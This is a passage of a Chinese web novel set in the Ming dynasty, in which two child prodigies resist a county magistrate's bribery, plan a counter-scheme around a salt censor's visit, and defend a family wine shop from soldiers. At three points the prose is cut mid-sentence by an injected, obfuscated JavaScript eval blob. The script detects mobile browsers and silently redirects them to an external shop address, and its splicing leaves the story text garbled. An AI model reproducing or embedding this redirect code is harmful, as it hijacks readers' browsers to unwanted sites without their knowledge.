听到这话,王宗昌一时皱眉,他来这里当然也不是为了给两个寡妇申冤的。 不过脸上还是带着和蔼的笑:“此事,我亦略有耳闻,可惜当日我也不在此地为官。而今郭氏将你等接回,也算圆满一桩。” “……” “……” 两个母亲不言,心里明白了,这县令官,和稀泥呢。 也不等几个人再说什么,提着衣摆走进门的周盈,身后跟了郭嘉。两人入门,便直接行了一礼。 “母亲,堂尊。” 那坐在上方的王宗昌,见了两位名声远扬的“神童”,便眯起眼,细细打量起来。 为首的,着素白襕衫,外套一层轻白薄纱,广袖翩然,身姿挺拔,眉目灵动,而肤白清润。 而另一人,穿浅蓝程子衣,手上袖子半折起,拿着几本书,身姿佻窈,眉含英气,十足的清俊机敏。 “好,百闻不如一见呐。两位山阴神童,快快请起。”走下椅子的王县令,弯腰伸手。 周盈和郭嘉便借着台阶下。 “我和嘉弟,刚下了学,不曾提前听闻堂尊大人光临寒舍,还请恕罪。” 那王宗昌呵呵一笑:“无妨,本官这次前来,也不是什么大事,只除了一件事要说。” 他说到这儿,看了一眼几个人,低头不知在合计什么。 “这样,我素听闻几位,曾是前仁和县令之亲属?” “……” “……” 周盈和郭嘉皱眉,周瑶与郭怡顿时攥紧手。 四个人,不同的反应,但心里都是一样的一惊。 王宗昌见此,心里思忖。若非是得了命令,他也不至于亲自来这儿走一趟。这上面的大人物,要准备朝着绍兴府动刀,他们这些地方小官,便也只能听命行事。 “不要怕,本官只是想问,尔等,于仕途功名,可有进取之心?” “本官惜才,愿为你二人前程做保举。” 周盈闻言,冷下脸,垂眸思忖,他身侧的郭嘉反应更快,直接上前一步道:“不知堂尊所言,是遵了谁的命令?亦或者是自作主张?” 王宗昌闻言,脸色微变:“本官这是问你们话,哪有你们反来问我的?” “我知道,你们心里对郭氏有气,那郭尧,前些天,我上郭氏拜访,却还同我说起过你们的事。” “这,到底是一家人,只要你们有了功名,那在郭氏的位置,岂不就是越坐越稳?再过些年,接手家里生意田地,也不是不可能。” “这些都是实打实的好处啊!” 他说的言辞切切,为两人分析再三:“再言,如今就算你们神童名讳在身,但罪臣眷属的身份,也是一个刺,焉知他日,不会成为颈上刀?” 周盈心里冷笑,这王县令,原是来到他们这儿,来贿赂人了!说的是好听,实则不过收买人心。 约莫是想让他们作为一把刀,刺向张岱等人,到时候矿税冤案与巡盐之事叠在一起,皇帝震怒,亦不是没有可能,直接清洗浙党。 至于他们?没了价值,随便寻个由头,都能被捏死。 好算计,也真是好歹毒。 想明白这些蹊跷,周盈直接冷声开口:“不必了,堂尊抬爱,奈何我等粗布麻衣穿着舒坦,糙米淡饭吃着也香。如今安稳扎根山阴县,只想把日子过稳,也不想着那些远大志向了。” “是极,我等平头百姓,如今远离庙堂,也不想多牵扯进这浑水里头,说到底,堂尊若硬逼,我等也不是没有反抗的手段,一条命,还是给得起的!”接话的是郭嘉,他说的话更硬气,也更尖锐。 见这两个少年,竟然是全然不留情面,王宗昌也顿时脸上猛的一变,一挥袖,冷笑:“好!好骨气!” 他抬起头,看了一眼两个站在一旁,一直不说话的母亲:“二位夫人,孩童之言,本官暂不追究,你们是大人,我就问一句,这大好的前程功名,当真不要?” 郭怡咬着下唇,但没开口说什么,反倒是周瑶直接哼了一声,哪里还不明白,这县令官,无事献殷勤,非奸即盗! 当下便言:“我等妇人,不懂那些官场的事情,但姐夫当年因牵扯太深,致使家道中落,妻离子散,这教训历历在目!” “若大人来此,便是为了这一件事,还是请吧!” “你!”王宗昌闻言顿时气急,心里也是没想到,这孤儿寡母竟如此难缠!上头交代的事情,这会儿好了,成不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636315|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 了了! 这要怎么办?难不成就这样简单的回去了? 强忍怒火,暗骂这群刁民当真不识抬举,王宗昌深吸一口气,行了一礼:“好,我念在你们尚未想清,给你们两天时间,两日后,本官再来!” 他说完这句话,直接冷哼,掀起袖子大步走了出去。 跟在身后的副手开口道:“堂尊,咱们就这么走了,不合适吧?” 王宗昌本就恼怒,听到声音,侧头冷看他一眼:“那你说怎么办?直接抓起来?动刑屈打成招?” “呃……”对方呵呵尴尬一笑,不过很快眼睛一亮:“此事虽不可随意抓人,但找个由头还是能找的。” 走到门口,王宗昌脚步一顿,皱眉迟疑:“回去再说。” 屋内,送走不速之客后,周盈脸色猛地阴沉下来,两个母亲这会儿也是脸上着急:“这是怎么回事?县令官造访,可不是小事啊,盈儿嘉儿,你们在外面可是惹了什么麻烦?” “欸……”周盈深叹一口气。 见他这样,性急的郭嘉直接道:“我来讲吧。” 于是,他将先前两人推断的,以及巡盐御史到访绍兴府的事情,全数说了出来,当然是抹去了核心计划。这主要是不希望两位母亲被吓到,更何况,后续的戏码,或还要母亲们配合才成。 “这、这……”郭怡脸色煞白,顿时眼前一黑,往后一仰。周瑶眼疾手快扶住,郭怡缓过神,低声道:“我没事…咱们决不能答应他们。” 闻言的周瑶脸上也全是焦急:“这么大的事情,怎么都不事先与我们说呢?” “实在是没想到,上头已经有人坐不住,准备动手了。”周盈也没成想,局势变得这么快,这确实是自己的失算。 “那、那现在如何?要不我去找郭氏?求他们出面?”郭怡率先想到郭氏的关系。 听到这话,郭嘉冷笑:“说不准,那王县令造访,却还有这郭氏的身影在,母亲莫忘了,咱们在郭氏,也不是没有敌人的。” “这个时候上门求救,反倒是要让人觉得咱们家出了大意外,好落井下石了。” “这话说的在理,先不用担心,此事我已经有了定夺。”周盈恢复了平日的淡然,看着两位母亲脸色极差的模样,垂下眼睑,长睫翕动间便又抬头。 “娘亲,接下来……或有一段动荡,若此次危机安稳过关,咱们就再无后顾之忧了。” 他这话说的,让周瑶有些摸不着头脑,但看自己这个儿子,眸中深暗,却似藏着深不见底的情绪,似风浪中的定海针,无端的叫人觉得踏实安稳。 周瑶抿紧唇,想了想:“你有什么要娘亲和郭娘做的,尽管说便是,都是一家人,就算是咬碎牙,撑一撑也是能撑过去的。” 闻言,周盈莞尔:“还不是时候,等会儿,自有关键人物上门拜访。” 他看了一眼郭嘉:“先吃饭吧,都这么晚了,饿着肚子,等会儿晚上商量事情,身子也撑不住。” 郭嘉:……你厉害,你是真坐的住! 28.第 28 章 是夜,画舫笙歌曼舞。 脱了官服的王宗昌,脸色阴沉,看着面前几个歌女弹唱跳舞,好不妖娆,偏生的什么心情都没有! 脑子里想的全是白天没办成的事不说,方才还接到消息,那巡盐御史,如今已是朝着山阴县赶了过来,要是在这之前,没能把周氏一家摆平,到时候巡盐过程出了事情,必拿他是问! 左右坐着的几个乡绅,你看我我看你的,眼里都透露出些许的疑惑和思索。而一侧,郭尧却眯起眼,不知道在想些什么。 地方乡绅与当地官员关系密切,这事儿早已是见怪不怪的,更有甚,县令一到任,为卖个面子,公然贿赂亦不少。 总归是你我一起分钱,皆大欢喜。 郭尧作为原本郭氏板上钉钉的继承人,自是由他出面打点关系。 为什么说板上钉钉?因为就目前来看,那郭嘉小儿名声是越来越大!已隐隐要将其余郭氏族人都压下去的架势! 这事儿,老祖宗看在眼里,记在心上。但却偏偏,对他大为不利! 郭尧手攥紧了一些杯子,猛的一口干尽。 他知道巡盐的事情,也明白这堂堂巡盐御史来小小山阴县,估摸着还是奔着那臭小子来的,只是不知到底所为何事? 难道是为了翻那矿税旧案吗? 还是说… 想了片刻,总归是没想明白,郭尧一时间也没敢开口说什么。 反倒是王宗昌,目光转向他,突然开口:“郭公子,听闻前些天,郭氏买了些官田,有没有这个事?” 这话说出口,郭尧额头冷汗冒出。实际上这会儿的田地,什么民田官田的早就分不清了。但官田作为太祖时期定下,归属权为国家所,按理来说是不能随意买卖的。 不过就现在这个世道,租种官田的农民能吃口饱饭都不错了,更何况官田税收比起民田要高出一截,为了活下去,这些佃农便会把田私下偷挂在当地乡绅名下,这样只需要交一部分税给乡绅就行。 也正因此,郭氏这些年,借着这样的由头,收敛兼并了不知凡几的官田。 以往从没有谁突然提出这事儿,现在这王宗昌一提,郭尧顿时心里惊愕,猛看过去。 对方呵呵一笑:“随口过问,我作为父母官,总得了解清楚地下百姓的生活如何?是也不是?” 郭尧也跟着呵呵一笑,汗流浃背:“堂尊说的是。不过是一些活不下去的百姓,没饭吃了,求着郭氏庇护而已。当然,该交的税和粮,自然也是不能少的。” 王宗昌手拿起杯子抿了一口,转而开口道:“这种了粮,吃不完,总得存着,但光是存着,若遇连日的雨,也是怕发潮了。” “郭公子,你说,这除了存着,多余的粮食,还能拿来做什么呢?” 几个乡绅闻言,皆皱起眉来,显然这王宗昌话里有话。 郭尧皱眉,不理解,只开口道:“耗粮最多的,当是酿酒了。” 闻言,王宗昌笑得真切了一些:“就是,这酒。我今天,要与你谈的,就是‘酒’一个字。” “……” 却说,夜沉沉,月晃晃。 周府外,停了一辆马车。 脚步匆匆,跨进门槛,却正是消失一日多的张岱,以及杨业。 这二人,自得到了消息之后,便马不停蹄回家,动用了所有的关系和人脉,总算是套出了一些消息。 但随之而来的,却是肝胆欲裂!因周盈所言皆属实! 二人对这个小师弟,若说以前只当是个看着顺眼,聪慧机灵的后辈,那么从现在开始,便是打心底的佩服和敬畏了。 “宗子,等会进了门,咱两却是要将事情一五一十的说出,如今你我二人能提前料事,都是因小师弟提点,这份情,往后若是安然度过难关,必然要还的。”杨业语气急切,神色难免焦虑,哪还有以往俊朗温雅的世家公子风范?且看那衣襟水墨,应是衣服都没来得及换,就跟着赶来了。 张岱没好气看了他一眼,不过自个如今也是邋遢的不行,眼下青黑泛起,显然一夜未眠,头发乱糟糟的:“此事我知道,还是多想想这事儿到底该怎么解决吧!我爹这会儿已经打点了能打点的关系,也不知到底管不管用。” 两人边走边说,走过前堂,穿过走廊,这一路跟着仆人,来到了正堂跟前。 只见正堂如今灯火通明,朴素简洁的院子,叫两个人看了都不免一愣,不曾想……小师弟家里竟如此俭朴。 坐在外边躺椅看着书的郭嘉,听到动静抬起头,眯眼一瞧:“可算是来了,等候多时了。” 他洗完了澡,这会儿换了身干净衣服,不过没梳头。这会儿不梳头便见客人,多少有些失礼的,但郭嘉没什么感觉。 怎么?洗完头湿漉漉的,还不让人晾干吗? 张岱和杨业则是尴尬对视一眼,行礼道:“还请郭师弟通报一声。” “不用通报了,繁文缛节这么多,汝瑛等你们很久了。”说着话,郭嘉踏进门口。 两个人就这么尴尬的僵了一会儿。 屋内,听到动静的周盈,这会儿披了件素色外衣走了出来,见郭嘉身后跟着两个熟悉面孔,倒是浅笑道:“可算是盼星星盼月亮,把你们两个盼来了。” 张岱闻言,上前行了一礼:“小……汝瑛,提点之恩,我张岱没齿难忘。若非先前一番惊醒,只怕我二人何时着了道,都是稀里糊涂的!” “那巡盐御史,姓曹名谨行,原是都察院浙江道监察御史,于万历三十年左右在户部任职过,他出身北直隶,乃万历二十六年进士。” 闻言,杨业帮着继续补充道:“这曹谨行,虽非江南之人,家境亦贫寒,却是靠着实打实的能力,一路官至巡盐御史。而今身为东林一系人物,却非核心成员,我是不太理解,为何朝廷要派这么个人过来巡盐。” 走到一侧,掀起衣摆,悠然坐下的周盈,垂眸间拿起茶壶,倒了几杯水,闻言则是抬头看向众人:“先坐吧,这事儿也没那么容易说清楚。” 张岱几人闻言,迟疑了一会儿,上前落座。 周盈素白的手指捋着发丝缠绕,在众人视线下,低头抿了口茶:“这不稀奇。便是当年如张太岳,欲行变法,也要内结冯保,外依太后,下恤官员,其中事不足道。 “正所谓,素来能臣多遗憾,或是贪财、贪权、贪名。也有权是为了做些事实,而不得不站队党争的。” 这话说出口,几个人一时间没明白。 郭嘉摸着下巴:“什么?你是说,想做实事的能臣,反还得先交个投名状,才能在自己人里站稳?” 这事儿,当真是稀奇又荒唐了,郭奉孝觉得自己的三观又一次被大明官场洗刷了一遍。 “大约便是如此了。” “……” “……” “……” 见三人不语,周盈叹息:“若是个纯粹的贪官,或者单是为了给皇上办事,那便简单。可偏是这样的人……想来,这一关,便要更为艰难一些了。” “如何见得?” “这曹谨行,既是为了拿投名状,那么势必会不惜一切代价,也会把这巡盐的差事办稳妥了。张师兄,杨师兄,你二人家中与淮扬盐商关系匪浅,他突造访绍兴府,为的是什么呢?” 张岱脸色一变,猛的开口:“他是为了查账?!” 闻言,杨业皱紧眉:“账目悉数记录了利润数目,支出开销等,还有……” “还有,打点来往,税费蹊跷,人情买卖,贪墨贿赂,该杀的是谁,该抓的是谁,有牵扯的官僚和乡绅,一个都逃不了。” 周盈说着,将杯子一个一个,放在桌上,说一句,让两人便觉毛骨悚然一阵。 等到最后一个杯子放下,碰撞的声音极轻,却让屋内所有人都震耳欲聋。 不多时,只有窗外蟾蜍之音响起。 郭嘉目光带着几分少有的锐利,看着两人道:“我们也不卖关子。只有这样,从头到尾,从上到下,从账目追查,就能拔出萝卜带出泥,到时候整个淮扬盐商圈子,整个浙东,全都要被涮一遍,非得脱层皮不可。” “这却也是,东林这帮人最根本的目的。” 张岱张了张嘴,竟是失声了,一时间只觉得头晕目眩。 他也就是个喜奢侈、喜热闹、喜美人的风流公子哥而已,如今局势陡然转变,真叫他觉得天翻地覆,仿佛整个世界突然变了个模样,狰狞獠牙,血盆大口,直朝着他张家扑来! “宗子!”杨业见状猛拽。当然,他的心情也好不到哪去,这可是实打实冲着他家和背后的盐商圈来的,要死,肯定是他们杨家先死,如何能让他不心急如焚? “我……没事。”张岱脸色白着,额头直冒冷汗。 “那、那如今,已悉数知晓这一盘局的惊险,我等要如何才能解开?小师弟……汝瑛,而今,我张岱,是真服了你了!”张岱这会儿,那俊脸上全都是汗,打心眼里就差把周盈当救世主了。 杨业颔首,语气也带了些许的恳求之色:“今日之危,汝瑛若能指一条明路,他日杨氏和张氏,必涌泉相报。” 这可是抄家的大祸!只要能救他们,就是给人家当牛做马都不为过了! 两个人现在的心里想法,大约可以总结为一句话:家都要被抄了,还管那些骨气干嘛!求救啊! 郭嘉见状,手撑着脸颊,侧头看了一眼周盈,却见这家伙,还不急不缓的喝着茶呢! 这白开水,能有什么好喝的?纯是拿来充场面,稳人设,打情绪罢了。 这不,两个冤大头师兄们,眼里头的恳求都快化作泪水,不争气的流出来了。 周盈见此,一副高深莫测的高人模样,只是淡然一笑:“不急。我先问,二位师兄,可愿拿出多少筹码,来买一条生路?” 他这话说的,两人只以为说要索要钱财,亦或者是别的什么,不免的,心里多少还是有些异样,但很快便压了下去。 “若能保全宗族,便是散尽家财也愿意啊!”这话说的是真心的。 周盈闻言,放下杯子,颔首一笑:“好!这样一来,我也再无后顾之忧了。” “小师弟,你卖的什么关系?急死我们两个了呀。”张岱这会儿,真也要被周盈这说话大喘气的风格,给急上火了。 嘿,他俩现在是热锅上的蚂蚁,这小师弟还存心的拿两人逗乐,实在叫人火冒三丈。 见此,周盈憋着笑,也知道不能再忽悠下去了,再这样,这俩真急疯了,说不准就拂袖而去了。 “好,既如此,我便将我的法子,与二位说。” “是这样的,如今巡盐御史剑指山阴县,光是靠着两位的人脉关系,断是跳不出浙东、淮扬这两块地方去搬救兵的。” 这是实话,也是张杨二家如此着急的根本原因。这俩纯纯属于是有点小钱小人脉,但不够上桌吃饭的那种。 “第二,这巡盐御史是铁了心,非要把整个浙东搅乱,其背后不仅仅是补亏空这么简单,更重要的是……” 说到这儿,周盈修长的手指比划了个二字。 “两党之争。” “……”两人皱眉,你看我我看你。 郭嘉在边上都快听睡着了,这会儿见周盈还忽悠忽悠,也是忍不住:“我就直说,你们两个没办法,真正的办法在朝廷。” “……?”然后两个人脸上更懵了。 郭嘉:……这什么悟性。 周盈见状,忍俊不禁:“我们要把这团水搅混,如此一来,其余的齐、楚二党势必不会光看着东林的人,吃掉整个江南地区盐税之利。再者,残余浙党,也会奋力抵抗,这样的话,我们的胜算就大了。” “听起来是好想法,但是怎么做呢?”张岱摸着下巴,没想出个所以然。 杨业微微深思,随后仿佛是想到什么一般,猛地看向两人。 周盈莞尔,郭嘉手撑着脸颊打瞌睡。 也就是七八岁的年纪,却如同妖孽一般,分析局势一针见血。这让杨业心里有一种深不可测的敬畏。 “这正是整个局面最关键的事情,两位师兄都知道,我和嘉弟牵扯矿税旧案的事情。” “只需到时候我们两个出面,将这桩案子与巡盐牵扯到一起,那么一旦让朝廷的人知道,这巡盐就折腾不起来。” 白衣少年说完这些,屋里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646477|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 安静了一会儿。周盈垂下眼睑,看着杯中水,昏暗的灯火映照一张无暇面容。 突的。 一声喝响起:“不行!这太危险,这不可以。我张岱就算是想找法子,也不能拿着自己朋友的命去赌!这事情别再提了。” 杨业愣了一下,侧头看着脸上怒容满面的张岱,眨了眨眼睛,心道:宗子,你还真看不出来啊,有义气。 但是义气能当饭吃吗?能活命吗? 张岱显然也是明白这个道理,但、但让他坦然接受自己的朋友为了救自己,从而深入虎穴,这如何都不能让他释怀。 此非君子所为。 被吓醒的郭嘉皱眉,咂巴了一下嘴:“吵什么,咋咋呼呼的……又不是说要送死,你们能想到的事情,我们会想不到?” 真是,扰人清梦,讨人厌。 张岱一口气如鲠在咽,脸色多变几番。 见他如此,郭嘉啧了一声,给自己倒了杯茶水醒神,没好气道:“棋局内无可用之计,难道就不会找棋局外的帮手吗?你二人是困在了里面,我们却看得清楚。朝廷事,事在党争,而纯非钱,既然你们选择割舍家产,那么这件事就好办了。” “……” “……” 张岱和杨业:阿巴巴巴……请赐教! 见着两人目光带着几分疑惑和茫然,郭嘉有一种恨铁不成钢的无奈,深叹口气,孺子不可教也。 周盈轻笑出声,声音温润儒雅,带着几分笑意言:“此事,也全非为了你们二人,更是为了替我二人摆脱罪臣眷属的身份。因而两位师兄,也无需太放在心上,难免愧疚。” 张岱“哦——”了一声。 杨业颔首。 这下是全想明白了,一时间,对自己方才揣度周盈的心思,颇感羞愧。 张岱那白俊脸上顿时红了一片,杨业尴尬轻咳:“我等当真是以小人之心,度君子之腹了。” “闲话少谈,既然商量好了对策,你二人便辛苦一些,连夜去打点关系,等时机到了,自然就该收网。我倒也想,跟这个曹御史,打打擂。” 周盈眯起眼,眸色锐利,如剑鸣金戈,不过刹那便消失不见。 两人匆匆离开。 打着哈欠,困的是眼皮子耷拉的郭嘉哼哼两声:“谈完了?能睡了吧?” 送走人,站在门口的周盈闻言,转身看向他,见这家伙皱着眉,一副恍恍惚惚,困成傻狐狸样,他忍俊不禁,走上前来。 手拽起过来胳膊,直接把人提溜起来。 “哎!”惊呼的郭嘉顿时清醒了,转头看向他。 周盈眨眼,很是无辜:“走吧,回房睡。” “……”周、盈!! 小郭狐狸气成狐狸团子,眼睛都瞪大了。早先怎么没发现,你这人这么腹黑!太坏了! 眼看着这家伙跟没事人一样,负手转身离开,他哼了一声。 随后…… 周盈方走几步,就觉背后一阵冷风袭来,猛地,直觉背后一沉,连带着那扑上来的惯性,整个人都踉跄着往前倾了几步。 “唔!你干嘛?”皱起眉,刚想把人甩下去,趴在他背上的郭奉孝嘿嘿一笑,手搂着他脖颈:“汝瑛哥哥,我困了,你背我回去。” “……”周盈直觉一阵恶寒,被叫的直冒寒意。 都是千年的老狐狸了,还装嫩?真不害臊。 “下去。” “不要。” “我数到三。” “……” “三。” “?你这是数到三?你这是耍赖!没天理了,我这辛辛苦苦帮你干活,让你背我回去你都不肯,周扒皮你真是毫无人性,比那陈群还讨人嫌。” “……?”周盈只觉满脑袋问号。 “少跟我扯皮,你要是真想见陈群,明天我就把他从巡阴司给你调过来,怎么样?” “……哼。” 周盈叹息,算了,跟一只郭狐狸较什么劲呢,谁让他比对方年纪大点。 就当是哥哥照顾弟弟呗。 于是,差不多大的少年,背着差不多大的第二个少年,两个人借着月光,一路走回了卧室。 夜色正好,一夜好眠。 接下来几日倒是相安无事,只不过山雨欲来之时,连带着私塾内的氛围都有些不对劲。 “这几日,怎么宗子和宗吕都没有来?” “是啊,缺席好几天了,夫子也都不说什么,真是稀奇了。” 周盈闻言,思忖着那巡盐御史,如今是到了什么地方了? 应当是走的陆路,比水路要快个三百里左右。 也就约莫这几天功夫就到山阴县了吧? 希望张岱和杨业能动作快些吧。 “咳。”走进来的陈夫子轻咳了一声,引起了学生们的注意。 “今天上午自习,汝瑛,你来一下。” 稀奇了,素来严苛的陈夫子,竟然也有一天,把讲课改为自习了? 不过众人没有嘀咕多久,因为全新的课业,闪亮登场! 自习归自习,让学生们摸鱼说小话是不可能的!写策略吧,一写一个不吱声! 跟着夫子进门的周盈停下了脚步,行了一礼后开口道:“夫子,可是出了什么问题?” 走到一侧,翻找一番的陈夫子,手上拿了一封信过来,递给周盈:“你看看,这是我那尚在京畿任官的友人,写回的信。” 周盈闻言,便也接过,直接拆封摊开一看。 不过多时,屋内安静下来。 而后,周盈猛的折起,抬头看向陈夫子:“这曹谨行,当年竟查过矿税旧案?” 陈夫子颔首,叹了一口气:“此人为官素来正直,据言刚正不阿,为人素不喜清谈,因而矿税之事,弄得民不聊生,他亦上书直言,奈何……” “奈何,当时国库亏空,陛下就指望着矿税补亏空。”周盈替他把话给补全了,这会儿心里也是有些复杂。 原以为是个东林派来的实干派,不曾想,这其中牵扯如此深。 若那曹谨行当真详细核查过这桩案子,那此人对他们的情况应当是了如指掌。 29.第 29 章 可为何王宗昌,前些天偏上门行威逼利诱之事呢? 这似乎也不太契合曹谨行的行事作风。 周盈皱眉,垂眸间看着这封信。 “汝瑛,此事牵扯颇深,为师只怕,其中早已不止有东林之人。那齐、楚的人也不全是傻子,况还有浙党的人从中阻挠,若那曹谨行,偏要一意孤行,在绍兴府掀起风浪来……” “我等,便也是不会让他如愿的。”说到这,陈夫子脸色也不太好看,大约是多知道了些什么。 这会儿的态度,比起上回周盈来找,倒要坚定不少。 蹊跷古怪。 周盈开口问道:“夫子可还知道些什么?” 对方摆手,苦笑一声:“诶,还能是什么。为师啊……当年的那些同窗,也有不少是浙党的人,咱们这片地方出去的,多也都是浙党,这不稀奇。” “如今东林的一部分人,欲挥起屠刀劈向浙江。而另一部分人,却犹豫不定,这些人中,也有不少曾与为师有过交情。” 周盈闻言,眼神一亮,看来这东林里面,却也不全是铁板一块的,这是个好消息。 两个人说完话,周盈出了门,心里则是在思忖,若如此说,那么……这王宗昌又是谁的人呢? 如果是曹谨行吩咐,这必然是不合理的,激起他二人的厌恶和不满,对曹谨行巡盐有什么好处吗? 周盈脚步一顿,一个猜疑涌上心头。 回到班里,郭嘉凑过来:“夫子可言了什么?” 沉思的周盈,侧头看了他一眼,低下头道:“有个关键消息。” “嗯?” “我猜,那王宗昌,恐非曹谨行身后之人指使。” 这话一出口,郭嘉微微睁眼,一时间瞌睡没了,整个人都精神了:“此言何出?” 周盈将自己的推断说了一番,末了道:“若那曹谨行当真是个刚正不阿之人,又查过当年矿税之案,他必然不会派人这么做,激起我们的厌恶之心,对他有什么好处呢?” “再言,本身这巡盐之事,与我等也无关,他只管巡他的盐,何必多此一举,徒生事端?若我们将矿税旧案闹大,他就不怕事情办不成,掉了脑袋?” 郭嘉皱眉摸着下巴,啧了一声:“你是说……有人在背后,不希望这次的巡盐能成?” “或者说,有人不希望东林的人,坐大。” 两个人话到这头,对视了一眼。 郭嘉撇撇嘴:“诶。与人斗,真是费脑筋。你说这人,斗来斗去,斗出了个什么?连真心想办事的,都得先斗一回,胜了才能做事,这官场,还真是畸形。” “你小声点吧,这事儿还不是现在能说的。”周盈无奈。 实则不论在哪,想要做事,只能遵循规则,这并非是迂腐,而是不得已。 两个人不再说什么,开始低头看书学习,颇一副用功学生的模样。 夕阳西下,私塾已无多少人。 周盈和郭嘉走出大门,便见到那马车早已停在一侧路边。 “走吧,我们去张师兄家里瞧瞧。” 二人上车,随后马夫挥鞭。 “要真是如此推论,岂非,你我二人所做之事,早已在他人眼里?”郭嘉突然开口说了一句。 低着头闭目养神的周盈,闻言间眼皮子抬起:“本来也不是什么隐蔽的事情。” “咱们俩,又是闯郭府,又是辩夫子,一早就出了名,想让人不知道都难。” “山阴神童,说的不正是你我二人?”说到这,周盈眼里戏谑几分。 “……”郭奉孝不说话了。 也就在此时,两人坐下马车猛的一停,随后那马夫掀起帘子,探进来的脸上,带了些许的迟疑和犹豫:“小掌柜,小少爷,前面……好像有一队官兵。” 两人听了这话,猛皱了眉头。周盈掀起窗帘朝外看去,这儿正值闹市,来往人流颇多。 而不远处则已经围满了不少人,几个凶神恶煞的官兵头子站在路口堵着,不让人靠近。 周盈见着被围住的那间作坊牌匾,顿时脸色一沉。 “怎么了?”见他回神,神情有些难看,郭嘉好奇询问。 “那王宗昌,已经忍不住要动手了,如今派了一队人,将我娘开的酒坊围住,也不知是要做什么…” 周盈思忖,目光一凝,猛的看向郭嘉:“奉孝,此事只怕是不简单,你我二人约要分头行动了。” “你说。”意识到事情的严重,郭嘉也收起了往日的嬉皮笑脸。 “我推论,那王宗昌必然是得了什么消息,才来酒坊发难?你我也不是不知道,这些年,郭氏的人对孩儿笑这个牌子垂涎欲滴,前些日子才刚来过人做样子。” “而今只怕……有人说了什么,叫王宗昌想到了什么莫须有的罪名。” “朝廷对酿酒素来重视,便是酒税连年交的也不少,若从中做文章,咱们这小小作坊,被罚的倾家荡产,家破人亡也不是没有可能的。” 周盈语气急切了几分,边说边想,脑子思绪转的极快,旁人要跟上还真是颇费劲。 但郭嘉听了,便一下子明白:“你要我去郭氏那儿,找所谓的老祖宗?” “嗯,这事儿,郭尧应当是插手了。我就说,笨人做事总让人心惊胆战,他只顾着自己好,却不知这事情抖出来,连郭氏的那些田地怎么来的,都得被捋出来。” 酿酒要粮食,粮食怎么来?种出来的。 两个人说话的功夫,外面已经逐渐围满了人,马车都动弹不得了。 周盈又言:“若真有情急之事,你可以找张岱杨业二人,务记勿要与官府的人发生冲突。” “好。”郭嘉闻言,掀起帘子直接跳下了马车,身影在人群中转瞬即逝。 车内,周盈叹息,皱眉间,便也起身下了车。 酒坊外,周瑶这会儿脸色阴沉,她本是个妇道人家,但为了生计,不得不学着酿酒经商,这一路走来的风霜雨雪,让她早已不是什么都不懂的人。 这些官兵突然造访,又突然将整个酒坊围住,更将原先的伙计全部都驱逐了出去,显然是有备而来。 是来发难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周瑶咬着牙:“这不都记在那账本上了吗,军爷,我们小本买卖,哪里敢钻什么空子,街坊邻居的,也都知道我这牌匾名声,做的都是诚实守信!” 话说到这,几个围观的邻居,有些愤愤不平了,官府衙门素来霸道,做什么事都是扰民不说,还总欺凌无辜人。 几个人顿时开口“是啊,周寡妇前些天,还招了不少家里紧巴的妇人做活。” “军爷,会不会弄错了?往年周寡妇家交税也都是交齐了的。”这开口的是个面善的妇人。 那张军闻言,冷笑一声:“好、好,这还贿赂上了?” “来人!” “且慢!” 就在紧要关头,听闻一道清润嗓音响起,众人便都不免的,朝着那方向看过去。 只见身着素白衣衫,薄纱翩翩的少年,脚步不停,步履当风的朝着这里走来。 却正是周寡妇家的儿子,周盈。 张军他不过七八岁,便嗤笑一声:“哟,哪里来的,还没断奶的小孩儿?去去去,别在这儿碍着衙门的事!” 30.第 30 章 周盈闻言,也不恼怒。 只是提着衣摆,脚步踩着台阶走了上来。 看了一眼脸上全是担忧的母亲,又看了看周围几个官兵。 转身,朝着张军道:“敢问,军爷行的,是哪条《大明律》?可曾说过,蓄意污蔑,造谣百姓,夺人生计,按个莫须有的罪名?便要抄家了?!” 他声音陡然一提,厉言如刺。 惊的在场众人皆是一愣。 张军片刻回神,反倒是被激起怒意来,一个七八岁的孩子,胆敢在这儿大放厥词,真是岂有此理! “放肆!你一小小学子,竟敢阻挠?!莫不是要打搅衙门办事?” “来人!把他拖出去!” 周盈冷哼:“前些天,王县令亲至寒舍,说的是好听,言的是在理,而今我等不过思考几日功夫,你们便都坐不住了。” “好啊,就如此欺凌我们孤儿寡母,便是要断了我们家的生计!你这个军爷,为虎作伥,为那王县令做事,却不知,如今当今圣上亲点的巡盐御史,却已至绍兴府中!” 他说一句,往前走一步,气势间,目光逼仄,盛气凌人,竟是如利剑出鞘,让那张军都被唬住了。 周盈一转身,手点上天,又大声道:“到时候,这事情闹大,我们去衙门哭冤,掉脑袋的,是你还是王县令!” “……” 张军瞪大眼睛,一时间如鲠在咽。 周围的围观群众闻言,皆是窸窸窣窣,更有不少人私语窃窃。 “我看这官府衙门里头,全都是贪官,连周寡妇家都欺负。” “是啊,这事做的没理。” “诶……咱们老百姓,能说什么?” 